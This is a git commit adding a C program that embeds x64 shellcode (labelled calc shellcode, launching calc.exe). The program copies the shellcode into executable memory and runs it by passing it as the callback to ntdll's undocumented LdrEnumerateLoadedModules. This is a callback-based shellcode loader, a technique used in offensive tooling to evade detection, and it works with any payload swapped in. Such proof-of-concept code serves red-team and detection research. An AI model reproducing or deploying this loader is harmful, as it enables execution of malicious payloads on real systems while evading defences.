Added LdrEnumerateLoadedModules ftw

2026-06-06 15:14:28 +00:00 · 2021-03-30 16:00:45 -04:00
parent 365a3f3220
commit f82372e2d1
4 changed files with 277 additions and 0 deletions
@@ -0,0 +1,98 @@
+#include <windows.h>
+#include <stdio.h>
+
+// alfarom256 calc shellcode
+unsigned char op[] =
+"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
+"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
+"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
+"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
+"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
+"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
+"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
+"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
+"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
+"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
+"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
+"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
+"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
+"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
+"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
+"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
+"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
+"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
+"\x63\x2e\x65\x78\x65\x00";
+
+// including ntdef.h was breaking the program so I just simply got the typedef from:
+// https://docs.microsoft.com/en-us/windows/win32/api/ntdef/ns-ntdef-_unicode_string
+
+typedef struct _UNICODE_STRING {
+    USHORT Length;
+    USHORT MaximumLength;
+    PWSTR  Buffer;
+} UNICODE_STRING, * PUNICODE_STRING;
+
+// https://doxygen.reactos.org/d1/d97/ldrtypes_8h_source.html
+
+typedef PVOID PACTIVATION_CONTEXT;
+
+typedef struct _LDR_DATA_TABLE_ENTRY
+{
+    LIST_ENTRY InLoadOrderLinks;
+    LIST_ENTRY InMemoryOrderLinks;
+    LIST_ENTRY InInitializationOrderLinks;
+    PVOID DllBase;
+    PVOID EntryPoint;
+    ULONG SizeOfImage;
+    UNICODE_STRING FullDllName;
+    UNICODE_STRING BaseDllName;
+    ULONG Flags;
+    USHORT LoadCount;
+    USHORT TlsIndex;
+    union
+    {
+        LIST_ENTRY HashLinks;
+        struct
+        {
+            PVOID SectionPointer;
+            ULONG CheckSum;
+        };
+    };
+    union
+    {
+        ULONG TimeDateStamp;
+        PVOID LoadedImports;
+    };
+    PACTIVATION_CONTEXT EntryPointActivationContext;
+    PVOID PatchInformation;
+} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
+
+typedef VOID(NTAPI LDR_ENUM_CALLBACK)(_In_ PLDR_DATA_TABLE_ENTRY ModuleInformation, _In_ PVOID Parameter, _Out_ BOOLEAN* Stop);
+typedef LDR_ENUM_CALLBACK* PLDR_ENUM_CALLBACK;
+
+// https://doxygen.reactos.org/d7/d55/ldrapi_8c.html#ac623c02eff0b751a63f8573eaca95153
+
+typedef NTSTATUS(__stdcall* _LdrEnumerateLoadedModules)(
+    BOOL                   ReservedFlag,
+    LDR_ENUM_CALLBACK     EnumProc,
+    PVOID                  context
+    );
+
+
+int main() {
+
+    HANDLE hProcess = ::GetCurrentProcess();
+
+    LPVOID address = ::VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+    memcpy(address, &op[0], sizeof(op));
+
+    HMODULE hNtdll = ::GetModuleHandleW(L"ntdll");
+
+    if (hNtdll) {
+
+        _LdrEnumerateLoadedModules LdrEnumerateLoadedModules = (_LdrEnumerateLoadedModules)::GetProcAddress(hNtdll, "LdrEnumerateLoadedModules");
+        LdrEnumerateLoadedModules(NULL, (PLDR_ENUM_CALLBACK)address, NULL);
+
+    }
+
+}